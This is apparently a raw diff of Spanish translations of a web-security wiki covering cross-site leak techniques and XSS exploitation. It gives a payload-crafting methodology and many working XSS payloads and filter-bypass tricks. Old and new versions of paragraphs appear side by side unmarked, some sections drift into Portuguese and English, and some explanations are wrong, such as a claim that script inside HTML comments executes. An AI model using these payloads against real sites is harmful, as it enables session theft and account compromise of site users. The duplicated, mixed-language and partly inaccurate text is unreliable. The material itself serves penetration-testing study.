Usando el selector CSS [`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited), es posible aplicar un estilo diferente a las URL que se han visitado.\
Usando el selector CSS [`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited), es posible aplicar un estilo diferente a las URL que han sido visitadas.\
Anteriormente era posible utilizar [`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle) para detectar esta diferencia, pero ahora los navegadores lo impiden devolviendo siempre valores como si el enlace hubiera sido visitado y limitando los estilos que se pueden aplicar utilizando el selector.\
Por lo tanto, puede ser necesario engañar al usuario para que haga clic en un área en la que el CSS haya afectado esto se puede hacer utilizando [`mix-blend-mode`](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode).\
También hay formas de hacerlo sin interacción del usuario, como abusar de los tiempos de renderizado, esto funciona porque lleva tiempo pintar los enlaces de un color diferente.\
@ -754,7 +754,7 @@ Se proporcionó una prueba de concepto en un informe de Chromium que funciona ut
* **Resumen:** En GC, cuando una página no está permitida para ser incrustada en una página de origen cruzado debido a **X-Frame-Options, se muestra una página de error**.
* **Ejemplo de código**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
En Chrome, cuando una página no está permitida para ser incrustada en una página de origen cruzado, porque el encabezado **X-FrameOptions** (XFO) está configurado en deny o same-origin, en su lugar se muestra una **página de error**. Para los objetos, esta página de error se puede **detectar verificando la propiedad `contentDocument`**. Normalmente, esta propiedad devuelve null porque no se permite el acceso a un documento incrustado de origen cruzado. Sin embargo, debido a la **representación de Chrome** de la página de error, se devuelve un **objeto de documento vacío** en su lugar. Esto no funciona para iframes ni en otros navegadores. Los desarrolladores pueden olvidar configurar X-Frame-Options para todas las páginas y especialmente las páginas de error a menudo carecen de este encabezado. Como técnica de fuga, un atacante puede diferenciar entre diferentes estados de usuario verificando esto.
En Chrome, cuando una página no está permitida para ser incrustada en una página de origen cruzado, porque el encabezado **X-FrameOptions** (XFO) está configurado en deny o same-origin, en su lugar se muestra una **página de error**. Para los objetos, esta página de error se puede **detectar verificando la propiedad `contentDocument`**. Por lo general, esta propiedad devuelve null porque no se permite el acceso a un documento incrustado de origen cruzado. Sin embargo, debido a la **representación de Chrome** de la página de error, se devuelve un **objeto de documento vacío** en su lugar. Esto no funciona para iframes ni en otros navegadores. Los desarrolladores pueden olvidar configurar X-Frame-Options para todas las páginas y especialmente las páginas de error a menudo carecen de este encabezado. Como técnica de fuga, un atacante puede diferenciar entre diferentes estados de usuario verificando esto.
### Detección de descargas
@ -827,7 +827,7 @@ O simplemente **enviar algunas solicitudes fetch a la página potencialmente en
### Service Workers <a href="#service-workers" id="service-workers"></a>
* **Métodos de inclusión**: Pop-ups
* **Métodos de inclusión**: Ventanas emergentes
* **Diferencia detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Resumen**: Medir el tiempo de ejecución de una web utilizando service workers.
@ -853,7 +853,7 @@ En una medición de tiempo de ejecución, es posible **eliminar** **factores de
### Tiempo entre ventanas
* **Métodos de inclusión**: Pop-ups
* **Métodos de inclusión**: Ventanas emergentes
* **Diferencia detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Resumen**: La API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) se puede utilizar para medir cuánto tiempo se tarda en realizar una solicitud utilizando `window.open`. Se pueden utilizar otros relojes.
@ -873,14 +873,14 @@ Aquí encontrarás técnicas para exfiltrar información de un HTML de origen cr
### Marcado colgante
{% content-ref url="dangling-markup-html-scriptless-injection.md" %}
[dangling-markup-html-scriptless-injection.md](dangling-markup-html-scriptless-injection.md)
{% content-ref url="dangling-markup-html-scriptless-injection/" %}
[dangling-markup-html-scriptless-injection](dangling-markup-html-scriptless-injection/)
{% endcontent-ref %}
### Carga diferida de imágenes
Si necesitas **exfiltrar contenido** y puedes **agregar HTML antes del secreto**, debes revisar las **técnicas comunes de marcado colgante**.\
Sin embargo, si por alguna razón **DEBES** hacerlo **carácter por carácter** (tal vez la comunicación se realiza a través de una coincidencia en la caché), puedes usar este truco.
Sin embargo, si por alguna razón **DEBES** hacerlo **carácter por carácter** (tal vez la comunicación se realiza a través de una coincidencia en la caché), puedes utilizar este truco.
Las **imágenes** en HTML tienen un atributo "**loading**" cuyo valor puede ser "**lazy**". En ese caso, la imagen se cargará cuando se vea y no mientras se carga la página:
```html

View file

@ -11,13 +11,13 @@
1. Verifica si **cualquier valor que controles** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) se está **reflejando** en el HTML o se está utilizando en el código **JS**.
2. **Encuentra el contexto** donde se refleja/utiliza.
3. Si se **refleja**
1. Verifica **qué símbolos puedes utilizar** y, en función de eso, prepara el payload:
1. Verifica **qué símbolos puedes usar** y, en función de eso, prepara el payload:
1. En **HTML sin procesar**:
1. ¿Puedes crear nuevas etiquetas HTML?
2. ¿Puedes utilizar eventos o atributos que admitan el protocolo `javascript:`?
2. ¿Puedes usar eventos o atributos que admitan el protocolo `javascript:`?
3. ¿Puedes evadir protecciones?
4. ¿El contenido HTML se interpreta mediante algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...)? Podrías abusar de una [**Inyección de Plantillas del Lado del Cliente**](../client-side-template-injection-csti.md).
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿puedes abusar de una [**Inyección de Marcado Colgante - Inyección de HTML sin script**](../dangling-markup-html-scriptless-injection.md)?
5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿puedes abusar de una [**Inyección de Marcado Colgante - Inyección de HTML sin script**](../dangling-markup-html-scriptless-injection/)?
2. Dentro de una **etiqueta HTML**:
1. ¿Puedes salir al contexto de HTML sin procesar?
2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
@ -43,17 +43,17 @@ Cuando trabajes en un XSS complejo, puede resultarte interesante conocer:
Para explotar con éxito un XSS, lo primero que debes encontrar es un **valor controlado por ti que se esté reflejando** en la página web.
* **Reflejado intermedio**: Si descubres que el valor de un parámetro o incluso de la ruta se refleja en la página web, podrías explotar un **XSS Reflejado**.
* **Reflejado intermedio**: Si descubres que el valor de un parámetro o incluso la ruta se está reflejando en la página web, podrías explotar un **XSS Reflejado**.
* **Almacenado y reflejado**: Si descubres que un valor controlado por ti se guarda en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
* **Accedido mediante JS**: Si descubres que se accede a un valor controlado por ti mediante JS, podrías explotar un **DOM XSS**.
## Contextos
Cuando intentes explotar un XSS, lo primero que debes saber es **dónde se está reflejando tu entrada**. Dependiendo del contexto, podrás ejecutar código JS arbitrario de diferentes formas.
Cuando intentas explotar un XSS, lo primero que debes saber es **dónde se está reflejando tu entrada**. Dependiendo del contexto, podrás ejecutar código JS arbitrario de diferentes formas.
### HTML sin procesar
Si tu entrada se **refleja en el HTML sin procesar** de la página, deberás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías utilizar.\
Si tu entrada se **refleja en el HTML sin procesar** de la página, deberás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
También, ten en cuenta la [Inyección de Plantillas del Lado del Cliente](../client-side-template-injection-csti.md).
### Dentro del atributo de las etiquetas HTML
@ -61,8 +61,8 @@ También, ten en cuenta la [Inyección de Plantillas del Lado del Cliente](../cl
Si tu entrada se refleja dentro del valor del atributo de una etiqueta, podrías intentar:
1. **Escapar del atributo y de la etiqueta** (luego estarás en el HTML sin procesar) y crear una nueva etiqueta HTML para abusar de ella: `"><img [...]`
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
3. Si **no puedes escapar del atributo** (`"` se está codificando o eliminando), entonces, dependiendo de **qué atributo** refleje tu valor y si controlas todo el valor o solo una parte, podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que ejecute código arbitrario cuando se haga clic en él. Otro **ejemplo** interesante es el atributo `href`, donde puedes utilizar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), según la etiqueta, podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
3. Si **no puedes escapar del atributo** (`"` se está codificando o eliminando), entonces, según **qué atributo** refleje tu valor y **si controlas todo el valor o solo una parte**, podrás abusar de él. Por **ejemplo**, si controlas un evento como `onclick=`, podrás hacer que ejecute código arbitrario cuando se haga clic en él. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
4. Si tu entrada se refleja dentro de etiquetas "**no explotables**", podrías intentar el truco de **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
### Dentro del código JavaScript
@ -263,10 +263,10 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Bypass de longitud (XSS pequeños)
### Bypass de longitud (pequeños XSS)
{% hint style="info" %}
**Más XSS pequeños para diferentes entornos** se pueden encontrar los payloads [**aquí**](https://github.com/terjanq/Tiny-XSS-Payloads) y [**aquí**](https://tinyxss.terjanq.me).
**Más XSS pequeños para diferentes entornos** se pueden encontrar [**aquí**](https://github.com/terjanq/Tiny-XSS-Payloads) y [**aquí**](https://tinyxss.terjanq.me).
{% endhint %}
```html
<!-- Taken from the blog of Jorge Lajara -->
@ -274,24 +274,24 @@ onerror=alert`1`
<script src=//aa.es>
<script src=//℡㏛.pw>
```
El último consiste en utilizar 2 caracteres unicode que se expanden a 5: telsr\
El último método utiliza 2 caracteres Unicode que se expanden a 5: telsr\
Puedes encontrar más de estos caracteres [aquí](https://www.unicode.org/charts/normalization/).\
Para verificar en qué caracteres se descomponen, consulta [aquí](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
Si para aprovechar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o un formulario** con datos prellenados, puedes intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
Si para explotar la vulnerabilidad necesitas que el **usuario haga clic en un enlace o un formulario** con datos prellenados, puedes intentar [**abusar del Clickjacking**](../clickjacking.md#xss-clickjacking) (si la página es vulnerable).
### Imposible - Dangling Markup
Si simplemente crees que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Dangling Markup**](../dangling-markup-html-scriptless-injection.md) porque podrías **explotar** la vulnerabilidad **sin** ejecutar código **JS**.
Si crees que **es imposible crear una etiqueta HTML con un atributo para ejecutar código JS**, deberías revisar [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) porque podrías **explotar** la vulnerabilidad **sin** ejecutar código **JS**.
## Inyectando dentro de una etiqueta HTML
### Dentro de la etiqueta/escapando del valor del atributo
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y utilizar algunas de las técnicas mencionadas en la [sección anterior](./#injecting-inside-raw-html) para ejecutar código JS.\
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo utilizando una carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
Si estás **dentro de una etiqueta HTML**, lo primero que puedes intentar es **escapar** de la etiqueta y utilizar algunas de las técnicas mencionadas en la [sección anterior](./#injecting-inside-raw-html) para ejecutar código JS.\
Si **no puedes escapar de la etiqueta**, puedes crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo utilizando una carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -300,19 +300,11 @@ Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro
Los eventos de estilo son una técnica comúnmente utilizada en ataques de XSS (Cross-Site Scripting) para ejecutar código malicioso en un sitio web. Estos eventos se aprovechan de la capacidad de los navegadores web para interpretar y ejecutar código JavaScript dentro de etiquetas HTML.
Los eventos de estilo se basan en la idea de que los navegadores web permiten la ejecución de código JavaScript en ciertos eventos de estilo, como `onmouseover` (cuando el cursor se coloca sobre un elemento) o `onload` (cuando se carga la página). Al aprovechar estos eventos, un atacante puede inyectar y ejecutar su propio código JavaScript en el contexto de la página web.
Los eventos de estilo se basan en la idea de que los navegadores web pueden interpretar ciertos atributos de estilo como código JavaScript. Al aprovechar esto, un atacante puede insertar código malicioso en un atributo de estilo y lograr que se ejecute cuando se activa un evento específico, como hacer clic en un enlace o pasar el cursor sobre un elemento.
Para explotar un evento de estilo, el atacante puede insertar código JavaScript malicioso dentro de una etiqueta HTML, utilizando el atributo `style` o el atributo `on[evento]`. Por ejemplo, el siguiente código HTML muestra cómo se puede utilizar un evento de estilo para ejecutar un script malicioso cuando el cursor se coloca sobre un elemento:
Un ejemplo común de un evento de estilo es el uso del atributo "onmouseover". Al insertar código JavaScript en este atributo, el atacante puede lograr que se ejecute cuando el usuario pasa el cursor sobre un elemento en particular. Esto puede permitir al atacante robar información confidencial, redirigir al usuario a sitios maliciosos o realizar otras acciones no deseadas.
```html
<div onmouseover="alert('¡Hola, soy un ataque de XSS!')">Pasa el cursor sobre mí</div>
```
Cuando un usuario coloca el cursor sobre el elemento `<div>`, se ejecutará el código JavaScript malicioso y se mostrará una alerta en el navegador.
Es importante tener en cuenta que los eventos de estilo solo pueden ejecutar código JavaScript en el contexto del navegador del usuario. No pueden acceder a información confidencial del servidor o realizar acciones en nombre del usuario. Sin embargo, aún pueden ser utilizados para robar información sensible, redirigir a los usuarios a sitios web maliciosos o realizar otras acciones perjudiciales.
Para protegerse contra los ataques de XSS basados en eventos de estilo, los desarrolladores web deben implementar medidas de seguridad, como la validación y el escape adecuado de los datos de entrada, así como el uso de políticas de seguridad de contenido (CSP) para limitar la ejecución de código JavaScript no confiable.
Es importante tener en cuenta que los eventos de estilo son solo una de las muchas técnicas utilizadas en ataques de XSS. Los desarrolladores web deben implementar medidas de seguridad adecuadas, como la validación y el filtrado de entrada de usuario, para proteger sus aplicaciones contra este tipo de ataques.
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
@ -354,25 +346,18 @@ Ten en cuenta que **cualquier tipo de codificación HTML es válida**:
```
**Bypassar evento interno usando codificação Unicode**
A técnica de codificação Unicode é frequentemente usada para contornar filtros de entrada que bloqueiam certos caracteres especiais. Ao usar a codificação Unicode, é possível representar caracteres especiais por meio de sequências de escape, permitindo que eles passem pelos filtros de entrada.
A codificação Unicode pode ser usada para contornar eventos internos em ataques de Cross-Site Scripting (XSS). Ao codificar os caracteres especiais em suas representações Unicode, é possível evitar a detecção de filtros de entrada e executar código malicioso.
No contexto de XSS (Cross-Site Scripting), essa técnica pode ser usada para contornar a restrição de eventos internos, como `onmouseover` ou `onclick`. Ao codificar os caracteres especiais relevantes em sequências de escape Unicode, é possível injetar código malicioso em um evento interno e executá-lo quando o evento é acionado.
Para realizar esse tipo de bypass, siga as etapas abaixo:
Por exemplo, se o filtro de entrada bloquear o caractere `<`, podemos usar a sequência de escape Unicode `&#x3C;` para representá-lo. Dessa forma, podemos injetar código malicioso em um evento interno, como `onmouseover`, usando a seguinte sintaxe:
1. Identifique o evento interno que está sendo filtrado ou bloqueado.
2. Codifique os caracteres especiais em suas representações Unicode usando a tabela de codificação Unicode.
3. Insira o código malicioso codificado no campo de entrada ou parâmetro afetado.
4. Quando o código malicioso for renderizado, os caracteres especiais serão decodificados e o evento interno será executado.
```html
<img src="x" onmouseover="alert('XSS')" />
```
É importante ressaltar que a codificação Unicode pode variar dependendo do contexto e da linguagem de programação utilizada. Portanto, é necessário adaptar a codificação de acordo com o ambiente específico em que o ataque está sendo realizado.
Pode ser transformado em:
```html
<img src="x" onmouseover="alert(&#x27;XSS&#x27;)" />
```
Ao codificar os caracteres especiais relevantes, podemos contornar o filtro de entrada e executar o código malicioso quando o evento `onmouseover` é acionado.
É importante ressaltar que a codificação Unicode não é uma solução universal para contornar filtros de entrada. Alguns filtros podem ser configurados para detectar e bloquear sequências de escape Unicode. Portanto, é essencial entender as limitações e adaptar as técnicas de acordo com o contexto específico.
Além disso, é fundamental lembrar que a exploração de vulnerabilidades de XSS é ilegal, a menos que seja realizada em um ambiente controlado e com permissão explícita do proprietário do sistema.
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -452,13 +437,13 @@ Puedes usar la codificación **hexadecimal** y **octal** dentro del atributo `sr
```
### Reverse tab nabbing
Reverse tab nabbing is a type of cross-site scripting (XSS) attack that targets users who have multiple tabs open in their web browser. The attack takes advantage of the trust users have in the websites they are currently browsing.
Reverse tab nabbing is a type of cross-site scripting (XSS) attack that targets users who have multiple tabs open in their web browser. The attack takes advantage of the trust users have in the websites they visit.
When a user clicks on a link on a malicious website, the attacker's website will open in a new tab. The attacker's website will then replace the content of the original tab with a phishing page that looks identical to the trusted website the user was previously viewing.
When a user clicks on a link on a malicious website, a new tab is opened in the browser. The malicious website then uses JavaScript to change the content of the original tab, making it look like a legitimate website. This can trick the user into entering sensitive information, such as login credentials or credit card details, into the fake tab.
The user may not notice the change in the tab, as they are still on the same domain and the URL may appear legitimate. If the user enters their login credentials or other sensitive information on the phishing page, it will be sent to the attacker, allowing them to gain unauthorized access to the user's account.
To protect against reverse tab nabbing, users should be cautious when clicking on links, especially from untrusted sources. It is also recommended to keep browser extensions and plugins up to date, as they can help detect and block malicious scripts.
To protect against reverse tab nabbing, users should be cautious when clicking on links, especially from untrusted sources. It is also recommended to regularly update web browsers and use security plugins that can detect and block malicious websites.
Pentesters can test for reverse tab nabbing by creating a malicious website and attempting to trick users into entering sensitive information. This can help identify vulnerabilities and provide recommendations for improving security.
```javascript
<a target="_blank" rel="opener"
```
@ -471,7 +456,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
### Bypass en Manejadores de Eventos
En primer lugar, verifica esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener información útil sobre los **manejadores de eventos "on"**.\
En caso de que exista una lista negra que impida la creación de estos manejadores de eventos, puedes intentar los siguientes bypasses:
En caso de que exista una lista negra que impida la creación de estos manejadores de eventos, puedes probar los siguientes bypasses:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -591,16 +576,11 @@ Cuando el servidor web recibe los datos de entrada codificados, los decodifica y
Para explotar esta vulnerabilidad, el atacante debe encontrar un punto de entrada en la aplicación web donde pueda inyectar código malicioso. Esto puede ser a través de campos de entrada de usuario, como formularios de inicio de sesión o campos de comentarios, o mediante parámetros de URL.
Una vez que se encuentra un punto de entrada, el atacante puede comenzar a manipular los datos de entrada para codificar el código malicioso. Por ejemplo, si el atacante desea inyectar un script JavaScript, puede codificarlo utilizando la función `encodeURIComponent()` en JavaScript.
Una vez que se encuentra un punto de entrada, el atacante puede comenzar a codificar el código malicioso para evitar la detección y la filtración. Por ejemplo, puede codificar caracteres especiales como "<" o ">" en su equivalente HTML "&lt;" o "&gt;", o codificar todo el código utilizando la codificación de URL.
```javascript
var maliciousCode = '<script>alert("XSS");</script>';
var encodedCode = encodeURIComponent(maliciousCode);
```
Una vez que el código malicioso se ha codificado, se inyecta en el punto de entrada y se envía al servidor web. El servidor web decodifica los datos de entrada y los muestra en el navegador del usuario sin realizar ninguna validación o filtrado adecuado. Como resultado, el código malicioso se ejecuta en el contexto del sitio web vulnerable.
El código malicioso codificado se puede enviar al servidor web a través de la solicitud HTTP. Cuando el servidor web recibe los datos de entrada codificados, los decodifica y los muestra en el navegador del usuario sin realizar ninguna validación o filtrado adecuado. Como resultado, el código malicioso se ejecuta en el contexto del sitio web vulnerable, lo que permite al atacante lograr sus objetivos maliciosos.
Para protegerse contra la ejecución de código codificado, es importante implementar medidas de seguridad adecuadas en la aplicación web. Esto incluye la validación y filtrado de datos de entrada, la implementación de listas blancas de caracteres permitidos y la codificación adecuada de datos de salida. Además, mantenerse actualizado con los parches de seguridad y las mejores prácticas de desarrollo web puede ayudar a prevenir ataques de XSS.
Para protegerse contra la ejecución de código codificado, es importante implementar medidas de seguridad adecuadas, como la validación y el filtrado de datos de entrada, la codificación adecuada de salida y el uso de bibliotecas y marcos de trabajo seguros. Además, mantenerse actualizado con los últimos parches y actualizaciones de seguridad también es fundamental para protegerse contra las vulnerabilidades conocidas.
```markup
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
@ -660,13 +640,14 @@ eval(8680439..toString(30))(983801..toString(36))
En algunos casos, cuando se realiza una inyección de código JavaScript en un sitio web, es posible que se necesite realizar sustituciones de espacio para evitar que el código sea bloqueado o filtrado por los mecanismos de seguridad del sitio. Esto se debe a que algunos filtros de seguridad pueden detectar y bloquear ciertos patrones de código, incluyendo espacios en blanco.
Una técnica común para realizar estas sustituciones de espacio es utilizar diferentes métodos para representar un espacio en blanco en el código JavaScript. Algunos de estos métodos incluyen:
Una técnica común para realizar estas sustituciones de espacio es utilizar diferentes métodos para representar un espacio en blanco en el código JavaScript. Algunos ejemplos de estas sustituciones incluyen:
- Utilizar el carácter de escape `\x20` para representar un espacio en blanco.
- Utilizar el carácter de escape `\u0020` para representar un espacio en blanco en formato Unicode.
- Utilizar la función `String.fromCharCode(32)` para generar un espacio en blanco.
- Utilizar el carácter de escape `\u0020` para representar un espacio en blanco.
- Utilizar la secuencia de escape `\x20` para representar un espacio en blanco.
- Utilizar la secuencia de escape `\040` para representar un espacio en blanco en octal.
- Utilizar la secuencia de escape `\s` para representar cualquier espacio en blanco, incluyendo espacios, tabulaciones y saltos de línea.
Estas técnicas permiten evitar la detección de espacios en blanco por parte de los filtros de seguridad, lo que puede ayudar a que el código inyectado se ejecute correctamente en el sitio web objetivo. Sin embargo, es importante tener en cuenta que estas técnicas pueden variar dependiendo del contexto y de las restricciones impuestas por el sitio web en particular. Por lo tanto, es necesario realizar pruebas exhaustivas para determinar qué método de sustitución de espacio es el más efectivo en cada caso.
Estas sustituciones de espacio pueden ayudar a evitar la detección y bloqueo del código inyectado, permitiendo que se ejecute correctamente en el sitio web objetivo. Sin embargo, es importante tener en cuenta que estas técnicas pueden variar dependiendo del contexto y de las medidas de seguridad implementadas en el sitio web objetivo. Por lo tanto, es fundamental realizar pruebas exhaustivas y adaptar las sustituciones de espacio según sea necesario.
```javascript
<TAB>
/**/
@ -689,21 +670,19 @@ String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
```
**Espacios en blanco de JavaScript**
Los espacios en blanco en JavaScript se refieren a los caracteres que no son visibles, como los espacios, las tabulaciones y los saltos de línea. Aunque estos caracteres generalmente no tienen ningún efecto en el comportamiento del código, pueden ser utilizados de manera maliciosa en ataques de Cross-Site Scripting (XSS).
Los espacios en blanco en JavaScript se refieren a los caracteres que no son visibles, como los espacios, las tabulaciones y los saltos de línea. Aunque estos caracteres generalmente no afectan el funcionamiento del código, pueden ser explotados en ataques de Cross-Site Scripting (XSS).
En un ataque de XSS, un atacante puede insertar código JavaScript malicioso en una página web para ejecutarlo en el navegador de un usuario desprevenido. Los espacios en blanco pueden ser utilizados para ocultar este código malicioso y evitar su detección.
El XSS es una vulnerabilidad que permite a un atacante insertar código malicioso en una página web, que luego se ejecuta en el navegador de los usuarios. Los espacios en blanco pueden ser utilizados en combinación con otras técnicas de XSS para evadir los filtros de seguridad y ejecutar código no deseado.
Es importante tener en cuenta que los espacios en blanco no son necesarios para que el código JavaScript funcione correctamente. Por lo tanto, es recomendable eliminar cualquier espacio en blanco innecesario en el código para reducir el riesgo de ataques de XSS.
Algunas técnicas comunes de XSS que involucran espacios en blanco incluyen:
Aquí hay algunos ejemplos de cómo los espacios en blanco pueden ser utilizados en un ataque de XSS:
- **XSS de tipo reflejado**: el código malicioso se inyecta en la URL de una página web y se refleja en el contenido de la página. Los espacios en blanco pueden ser utilizados para ocultar el código malicioso y evitar su detección.
- **Espacios en blanco antes y después del código malicioso**: El atacante puede agregar espacios en blanco antes y después del código malicioso para ocultarlo de los filtros de seguridad y hacer que sea más difícil de detectar.
- **XSS de tipo almacenado**: el código malicioso se almacena en una base de datos y se muestra a los usuarios cuando acceden a una página web específica. Los espacios en blanco pueden ser utilizados para ocultar el código y evitar que sea detectado por los filtros de seguridad.
- **Espacios en blanco dentro del código malicioso**: El atacante puede agregar espacios en blanco dentro del código malicioso para dificultar su análisis y evitar su detección.
Para protegerse contra los ataques de XSS que involucran espacios en blanco, es importante implementar medidas de seguridad adecuadas, como la validación y el filtrado de entrada de usuario, la codificación adecuada de salida y el uso de bibliotecas y marcos de trabajo seguros.
- **Espacios en blanco en nombres de funciones y variables**: El atacante puede utilizar espacios en blanco en los nombres de funciones y variables para evadir los filtros de seguridad y ejecutar su código malicioso.
En resumen, los espacios en blanco en JavaScript pueden ser utilizados de manera maliciosa en ataques de XSS. Es importante tener en cuenta su presencia y eliminar cualquier espacio en blanco innecesario en el código para reducir el riesgo de ataques.
Recuerde que la seguridad de una aplicación web es un proceso continuo y debe ser abordada desde el diseño y desarrollo inicial, hasta las pruebas de penetración regulares para identificar y corregir posibles vulnerabilidades.
```javascript
log=[];
function funct(){}
@ -722,21 +701,13 @@ console.log(log)
```
**Javascript dentro de un comentario**
Cuando se trata de encontrar vulnerabilidades de Cross-Site Scripting (XSS), es importante tener en cuenta que el código JavaScript también puede estar oculto dentro de los comentarios HTML. Los comentarios son secciones de código que no se muestran en la página web, pero aún así son interpretados por el navegador.
Cuando se trata de encontrar vulnerabilidades de Cross-Site Scripting (XSS), es importante tener en cuenta que el código JavaScript también puede estar oculto dentro de comentarios en el código fuente de una página web. Los comentarios en HTML se definen entre `<!--` y `-->`, y a menudo se utilizan para proporcionar información adicional sobre el código.
Un atacante puede aprovechar esta vulnerabilidad al insertar código JavaScript malicioso dentro de un comentario HTML. Si el sitio web no tiene una protección adecuada, este código puede ejecutarse en el navegador de los usuarios que visiten la página.
Los atacantes pueden aprovechar esta técnica para insertar código JavaScript malicioso dentro de un comentario en una página web vulnerable. Si el sitio web no tiene una protección adecuada contra XSS, este código puede ejecutarse cuando un usuario visita la página y permitir que el atacante robe información confidencial o realice acciones no autorizadas en nombre del usuario.
Para identificar si un sitio web es vulnerable a este tipo de ataque, se puede utilizar una técnica llamada "Javascript inside a comment". Esto implica insertar un código JavaScript de prueba dentro de un comentario HTML y verificar si se ejecuta en el navegador.
Es importante tener en cuenta que los comentarios en HTML no se muestran en la página web, por lo que el código JavaScript dentro de un comentario no es visible para los usuarios normales. Sin embargo, los navegadores aún interpretarán y ejecutarán este código, lo que lo convierte en una vulnerabilidad potencial.
Aquí hay un ejemplo de cómo se puede realizar esta técnica:
```html
<!-- <script>alert('XSS');</script> -->
```
En este ejemplo, el código JavaScript `alert('XSS');` está oculto dentro de un comentario HTML. Si el sitio web es vulnerable, el navegador ejecutará este código y mostrará una alerta con el mensaje "XSS".
Es importante destacar que esta técnica solo se utiliza con fines de prueba y no debe ser utilizada de manera maliciosa. Los pentesters y los investigadores de seguridad deben obtener el permiso adecuado antes de realizar cualquier prueba de penetración en un sitio web.
Para protegerse contra este tipo de ataque, es fundamental implementar medidas de seguridad adecuadas, como la validación y el filtrado de entrada de usuario, así como el uso de funciones de escape apropiadas al mostrar datos en la página web.
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
@ -749,17 +720,15 @@ Es importante destacar que esta técnica solo se utiliza con fines de prueba y n
En algunos casos, es posible ejecutar código JavaScript sin utilizar paréntesis. Esto se debe a que JavaScript permite llamar a una función sin utilizar paréntesis si no se le pasan argumentos.
Por ejemplo, considera el siguiente código:
Por ejemplo, consideremos el siguiente código:
```javascript
alert`Hello, world!`;
alert`Hello, World!`;
```
En este caso, `alert` es una función que muestra una ventana emergente en el navegador. Normalmente, se llamaría a esta función utilizando paréntesis, como `alert("Hello, world!")`. Sin embargo, en este caso, se utiliza la sintaxis de plantilla de cadena de JavaScript para llamar a la función sin paréntesis.
En este caso, estamos llamando a la función `alert` sin utilizar paréntesis. Esto funciona porque no estamos pasando ningún argumento a la función `alert`.
Esta técnica puede ser utilizada para ejecutar código malicioso en un sitio web vulnerable a ataques de Cross-Site Scripting (XSS). Al aprovechar esta funcionalidad de JavaScript, un atacante puede inyectar código malicioso en una página web y ejecutarlo sin utilizar paréntesis.
Es importante tener en cuenta que esta técnica solo funciona en navegadores que admiten la sintaxis de plantilla de cadena de JavaScript. Además, es crucial comprender que el uso de esta técnica para fines maliciosos es ilegal y éticamente incorrecto. Solo se debe utilizar con fines educativos y de prueba en un entorno controlado y autorizado.
